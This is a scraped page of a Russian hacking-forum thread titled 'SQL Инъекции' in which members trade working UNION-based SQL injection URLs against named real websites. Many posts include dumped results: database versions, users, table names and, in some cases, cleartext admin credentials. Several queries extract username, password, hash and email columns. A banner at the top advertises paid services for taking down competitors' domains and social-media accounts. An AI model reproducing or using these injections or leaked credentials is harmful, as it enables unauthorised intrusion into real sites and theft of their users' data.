Форум АНТИЧАТ - SQL Инъекции

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
SQL Инъекции

Страница 1207 из 1242

1207

Опции темы

Поиск в этой теме

Опции просмотра

#12061

05.05.2010, 23:34

err0rFrost

Познающий

Регистрация: 31.03.2005

Сообщений: 31

Провел на форуме:
90539

Репутация: 5

Код:

http://www.databankgroup.com/index1.php?linkid=-999+union+SELECT+GROUP_CONCAT(table_name)+FROM+information_schema.tables--

pr5

Код:

http://www.pap.org.sg/articleview.php?id=1514&mode=&cid=-23+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9/*

pr6

Последний раз редактировалось err0rFrost; 05.05.2010 в 23:42..

#12062

06.05.2010, 08:54

AC//DC

Познающий

Регистрация: 28.07.2009

Сообщений: 98

Провел на форуме:
247684

Репутация: 136

Код:

http://telemex.ru//index.php?category=-1+union+all+select+1,2,3,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),5+--

version : 5.1.34
user : reee_biz@localhost
database : reee_biz
os : linux-gnu

#12063

06.05.2010, 09:09

..::TROYAN::..

Участник форума

Регистрация: 22.05.2008

Сообщений: 158

Провел на форуме:
2875309

Репутация: 348

Отправить сообщение для ..::TROYAN::.. с помощью ICQ

Код:

http://www.homegate.ru/board?code=show&id=-28409+union+select+1,2,3,4,5,6,concat_ws(0x3a,nick,hash,salt,email),8,9,10,11,12,13,14+from+neway_users--

PR:3
ТиЦ:50
Посещалка:1,5к-2к в сутки.

#12064

06.05.2010, 09:52

AC//DC

Познающий

Регистрация: 28.07.2009

Сообщений: 98

Провел на форуме:
247684

Репутация: 136

Код:

http://www.samenta.ru/catalog/?lang=rus&c_id=1&p_id=-1+union+select+1,2,3,4,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),6,7,8,9,10,11,12,13,14,15,16,17+--

version : 4.0.26
user : samentaru@samenta.ru
database : samentaru
os : unknown-freebsd6.1

#12065

06.05.2010, 12:53

LanSilot

Новичок

Регистрация: 10.04.2010

Сообщений: 20

Провел на форуме:
187365

Репутация: 14

Отправить сообщение для LanSilot с помощью ICQ

Код:

http://www.bcspeakers.com/product.php?id=-11+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+_user--

lcd:lcd2008
bcadmin:bc2008

#12066

06.05.2010, 13:02

AC//DC

Познающий

Регистрация: 28.07.2009

Сообщений: 98

Провел на форуме:
247684

Репутация: 136

Код:

http://market.remont99.ru/news.php?id=-16+union+all+select+1,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),3,4,5,6,7+--

version : 4.1.25-log
user : remont94_olga@localhost
database : remont94_db
os : portbld-freebsd6.3

#12067

06.05.2010, 13:04

Financier

Новичок

Регистрация: 12.12.2009

Сообщений: 5

Провел на форуме:
28808

Репутация: 9

Код:

http://www.ayrshireandgalloway.co.uk/news.php?id=99999+union+select+1,2,3,4,5--

Код:

http://www.treatbalham.co.uk/news.php?id=99999+union+select+1,2,version(),4,5,6+from+news--

Код:

http://www.saintstrust.co.uk/news.php?id=99999+union+select+1,2,3,4,5,concat_ws(0x3a,username,password,email),7,8+from+t_user+limit+0,1--

Код:

http://www.vibixa.co.uk/news.php?id=9999+union+select+1,table_name,3,4,5,6+from+information_schema.tables+limit+17,1--
career category client colour gallery_image garden_accessories link order_head
page roof_style seating_upholstery summerhouse summerhouse_has_colour summerhouse_has_garden summerhouse_has_garden_order summerhouse_has_roof
summerhouse_has_seating

Код:

http://connexions.oberon.titaninternet.co.uk/news.php?id=9999+union+select+1,2,version(),4,5--

Код:

http://www.arbroathpool.co.uk/news.php?id=99999+union+select+1,2,version()+from+news--

Код:

http://www.kentonvineyard.co.uk/news.php?id=999+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables+limit+17,1--
gst_events gst_news gst_products

Код:

http://www.staddonheightsgolf.co.uk/news.php?id=999+union+select+1,2,3,4,table_name,6,7,8,9,10+from+information_schema.tables+limit+28,1--
wcusers:username wcusers:password wcusers:ip //но таблица пуста.

Код:

http://www.docbrown.co.uk/news.php?id=999+union+select+1,2,version(),4+news--

Код:

http://www.rimrecords.co.uk/rim-news.php?id=9999+union+select+1,2,3,version()--

Код:

http://www.krehalonuk.co.uk/news.php?id=9999+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+news--

Последний раз редактировалось Financier; 08.05.2010 в 17:00..

#12068

06.05.2010, 15:19

Dare

Новичок

Регистрация: 26.04.2010

Сообщений: 26

Провел на форуме:
136979

Репутация: 53

Отправить сообщение для Dare с помощью ICQ

Код:

http://www.forceofnature.org/events.php?id=-36+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),10--+

version:5.0.45-log
user:fonadmin@cgi0506.int.bizland.net

#12069

06.05.2010, 17:24

aka_zver

Постоянный

Регистрация: 17.09.2009

Сообщений: 775

Провел на форуме:
3132379

Репутация: 1069

Отправить сообщение для aka_zver с помощью ICQ

Отправить сообщение для aka_zver с помощью AIM

Отправить сообщение для aka_zver с помощью MSN

Отправить сообщение для aka_zver с помощью Yahoo

Сайт: http://www.travellux.com
ТИЦ: 70
PR: 4
Пример запроса:

Код:

http://www.travellux.com/index4.php?mode=57&select=about_us&id=-1364'+union+select+1,2,3,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),group_concat(0x0b,id,0x3a,name,0x3a,email,0x3a,password),null,null,8,9,10,11,12,13,14,15,16,17+from+users--+

version - 5.0.84-log
user - travell@localhost
database - travell00
os - portbld-freebsd6.1
tables:

Код:

CHARACTER_SETS,   
COLLATIONS,   
COLLATION_CHARACTER_SET_APPLICABILITY,   
COLUMNS,   
COLUMN_PRIVILEGES,   
KEY_COLUMN_USAGE,   
PROFILING,   
ROUTINES,   
SCHEMATA,   
SCHEMA_PRIVILEGES,   
STATISTICS,   
TABLES,   
TABLE_CONSTRAINTS,   
TABLE_PRIVILEGES,   
TRIGGERS,   
USER_PRIVILEGES,   
VIEWS,   
abroad,   
allCodes,   
articles,   
categ,   
consultations,   
countries,   
data_turs,   
datehotels,   
dates,   
documents,   
down,   
hotels,   
images,   
menu_left,   
operators,   
parameters,   
parts,   
prices,   
quest_busy,   
questions,   
registry,   
registryold,   
sites,   
timetable,   
users

columns:

Код:

CHARACTER_SET_NAME,   
DEFAULT_COLLATE_NAME,   
DESCRIPTION,   
MAXLEN,   
COLLATION_NAME,   
CHARACTER_SET_NAME,   
ID,   
IS_DEFAULT,   
IS_COMPILED,   
SORTLEN,   
COLLATION_NAME,   
CHARACTER_SET_NAME,   
TABLE_CATALOG,   
TABLE_SCHEMA,   
TABLE_NAME,   
COLUMN_NAME,   
ORDINAL_POSITION,   
COLUMN_DEFAULT,   
IS_NULLABLE,   
DATA_TYPE,   
CHARACTER_MAXIMUM_LENGTH,   
CHARACTER_OCTET_LENGTH,   
NUMERIC_PRECISION,   
NUMERIC_SCALE,   
CHARACTER_SET_NAME,   
COLLATION_NAME,   
COLUMN_TYPE,   
COLUMN_KEY,   
EXTRA,   PRIVILEGES,   
COLUMN_COMMENT,   
GRANTEE,   
TABLE_CATALOG,   
TABLE_SCHEMA,   
TABLE_NAME,   
COLUMN_NAME,   
PRIVILEGE_TYPE,   
IS_GRANTABLE,   
CONSTRAINT_CATALOG,   
CONSTRAINT_SCHEMA,   
CONSTRAINT_NAME,   
TABLE_CATALOG,   
TABLE_SCHEMA,   
TABLE_NAME,   
COLUMN_NAME,   
ORDINAL_POSITION,   
POSITION_IN_UNIQUE_CONSTRAINT,
REFERENCED_TABLE_SCHEMA,   
REFERENCED_TABLE_NAME,   
REFERENCED_COLUMN_NAME,   
QUERY_ID,   
SEQ,   
STATE,   
DURATION,   
CPU_USER,   
CPU_SYSTEM,   
CONTEXT_VOLUNTARY,   
CONTEXT_INVOLUNTARY,   
BLOCK_OPS_IN,   
BLOCK_OPS_OUT,   
MESSAGES_SENT,   
MESSAGES_RECEIVED,   
PAGE_FAULTS_MAJOR,   
PAGE_FAULTS_MINOR,   
SWAPS,   
SOURCE_FUNCTION,   
SOURCE_FILE,   
SO

=========================================

Сайт: http://www.tangotiger.net
ТИЦ: 10
PR: 3
Пример запроса:

Код:

http://www.tangotiger.net/scout/index4.php?teamid=-114+union+select+concat_ws(0x0b,version(),user(),database(),@@version_compile_os),group_concat(0x0b,column_name),3,4,null,null,7,null,null,now(),null,null,null,null,null,null+from+information_schema.columns--+

version - 5.0.67-log
user - scoudb@redbull.dreamhost.com
database - scoudb
os - pc-linux-gnu
tables:

Код:

CHARACTER_SETS,   
COLLATIONS,   
COLLATION_CHARACTER_SET_APPLICABILITY,   
COLUMNS,   
COLUMN_PRIVILEGES,   
KEY_COLUMN_USAGE,   
PROFILING,   
ROUTINES,   
SCHEMATA,   
SCHEMA_PRIVILEGES,   
STATISTICS,   
TABLES,   
TABLE_CONSTRAINTS,   
TABLE_PRIVILEGES,   
TRIGGERS,   
USER_PRIVILEGES,   
VIEWS,   
BALLOTS,   
CHECKSUM_FAN,   
CHECKSUM_FAN_DUPS,   
CHECKSUM_FAN_IPADDR,   
CHECK_VOTES,   
CHECK_VOTE

columns:

Код:

CHARACTER_SET_NAME,   
DEFAULT_COLLATE_NAME,   
DESCRIPTION,   
MAXLEN,   
COLLATION_NAME,   
CHARACTER_SET_NAME,   
ID,   
IS_DEFAULT,   
IS_COMPILED,   
SORTLEN,   
COLLATION_NAME,   
CHARACTER_SET_NAME,   
TABLE_CATALOG,   
TABLE_SCHEMA,   
TABLE_NAME,   
COLUMN_NAME,   
ORDINAL_POSITION,   
COLUMN_DEFAULT,   
IS_NULLABLE,   
DATA_TYPE,   
CHARACTER_MAXIMUM_LENGTH,   
CHARACTER_OCTET_LENGTH,   
NUMER

=========================================

Сайт: http://artem.ip-nsk.ru
ТИЦ: 0
PR: 0
Пример запроса:

Код:

http://artem.ip-nsk.ru/tdk/index4.php?idd=-53+union+select+1,group_concat(0x0b,id,0x3a,username,0x3a,password),3,null,5,6,7,8,9,10+from+cute_users--+

version - 5.0.90-community
user - ipdenis_admin@localhost
database - ipdenis_tdk
os - pc-linux-gnu
tables:

Код:

CHARACTER_SETS,   
COLLATIONS,   
COLLATION_CHARACTER_SET_APPLICABILITY,   
COLUMNS,   
COLUMN_PRIVILEGES,   
KEY_COLUMN_USAGE,   
PROFILING,   
ROUTINES,   
SCHEMATA,   
SCHEMA_PRIVILEGES,   
STATISTICS,   
TABLES,   
TABLE_CONSTRAINTS,   
TABLE_PRIVILEGES,   
TRIGGERS,   
USER_PRIVILEGES,   
VIEWS,   
cute_categories,   
cute_comments,   
cute_flood,   
cute_ipban,   
cute_news,   
cute_story,   
cute_users,   
categg,   
email,   
files,   
kapital_zed_admin_menu,   
kapital_zed_articles,   
kapital_zed_brotator,   
kapital_zed_category,   
kapital_zed_form,   
kapital_zed_news,   
kapital_zed_pages,   
kapital_zed_redirect,   
kapital_zed_site_menu,   
kapital_zed_siteinfo,   
kapital_zed_tplblock,   
kapital_zed_tplmanager,   
kapital_zed_users,   
tovari,   
zed_news,   
zed_news2,   
cute_categories,   
cute_comments,   
cute_flood,   
cute_ipban,   
cute_news,   
cute_story,   
cute_users,   
files,   
kapital_zed_admin_menu,   
kapital_zed_articles,   
kapital_zed_brotator,   
kapital_zed_category,   
kapital_zed_form,   
kapital_zed_news,   
kapital_zed_pages,   
kapital_zed_redirect,   
kapital_zed_site_menu,   
kapital_zed_siteinfo,   
kapital_zed_tplblock,   
kapital_zed_tplman

columns:

Код:

CHARACTER_SET_NAME,   
DEFAULT_COLLATE_NAME,   
DESCRIPTION,   
MAXLEN,   
COLLATION_NAME,   
CHARACTER_SET_NAME,   
ID,   
IS_DEFAULT,   
IS_COMPILED,   
SORTLEN,   
COLLATION_NAME,   
CHARACTER_SET_NAME,   
TABLE_CATALOG,   
TABLE_SCHEMA,   
TABLE_NAME,   
COLUMN_NAME,   
ORDINAL_POSITION,   
COLUMN_DEFAULT,   
IS_NULLABLE,   
DATA_TYPE,   
CHARACTER_MAXIMUM_LENGTH,   
CHARACTER_OCTET_LENGTH,   
NUMERIC_PRECISION,   
NUMERIC_SCALE,   
CHARACTER_SET_NAME,   
COLLATION_NAME,   
COLUMN_TYPE,   
COLUMN_KEY,   
EXTRA,   
PRIVILEGES,   
COLUMN_COMMENT,   
GRANTEE,   
TABLE_CATALOG,   
TABLE_SCHEMA,   
TABLE_NAME,   
COLUMN_NAME,   
PRIVILEGE_TYPE,   
IS_GRANTABLE,   
CONSTRAINT_CATALOG,   
CONSTRAINT_SCHEMA,   
CONSTRAINT_NAME,   
TABLE_CATALOG,   
TABLE_SCHEMA,   
TABLE_NAME,   
COLUMN_NAME,   
ORDINAL_POSITION,   
POSITION_IN_UNIQUE_CONSTRAINT,
REFERENCED_TABLE_SCHEMA,   
REFERENCED_TABLE_NAME,   
REFERENCED_COLUMN_NAME,   
QUERY_ID,   
SEQ,   
STATE,   
DURATION,   
CPU_USER,   
CPU_SYSTEM,   
CONTEXT_VOLUNTARY,   
CONTEXT_INVOLUNTARY,   
BLOCK_OPS_IN,   
BLOCK_OPS_OUT,   
MESSAGES_SENT,   
MESSAGES_RECEIVED,   
PAGE_FAULTS_MAJOR,   
PAGE_FAULTS_MINOR,   
SWAPS,   
SOURCE_FUNCTION,   
SOURCE_FILE,   
SO

Последний раз редактировалось aka_zver; 06.05.2010 в 19:57..

#12070

06.05.2010, 17:53

Skofield

Участник форума

Регистрация: 27.08.2008

Сообщений: 209

Провел на форуме:
1759582

Репутация: 394

Код:

http://www.carnegie-institute.edu/careerPosting.php?id=-1+union+select+1,version(),3,4,5/*

Database Version: 4.1.25-Debian_mt1
Database name: db8721_content
User name: db8721@64.13.192.36

----------------------------------------------------------------------------------------------------------

Код:

http://ecet.spsu.edu/FacultyStaff.php?id=-24+union+select+1,version(),3,4,5,6,7,8,9,10--

Database Version: 5.0.77
Database name: ecet
User name: ecet@localhost

----------------------------------------------------------------------------------------------------------

Код:

http://www.bikeweek.org.uk/page.php?id=64'+union+select+1,group_concat(user_id,0x3a,user_password),3+from+users/*

Look at the source code

Database Version: 4.1.22-community-nt-log
Database name: bikeweek10live
User name: bikeweek10@localhost

Последний раз редактировалось Skofield; 06.05.2010 в 19:39..

Страница 1207 из 1242

1207

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая	k00p3r	Чужие Статьи	0	13.06.2005 11:26
SQL инъекция и Oracle, часть 2	k00p3r	Чужие Статьи	0	13.06.2005 11:24
Sql инъекция и Oracle, часть первая	k00p3r	Чужие Статьи	0	13.06.2005 11:23
Внедрение Sql кода с завязанными глазами	k00p3r	Чужие Статьи	0	12.06.2005 20:48
SQL Injection в Oracle	k00p3r	Чужие Статьи	0	12.06.2005 12:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход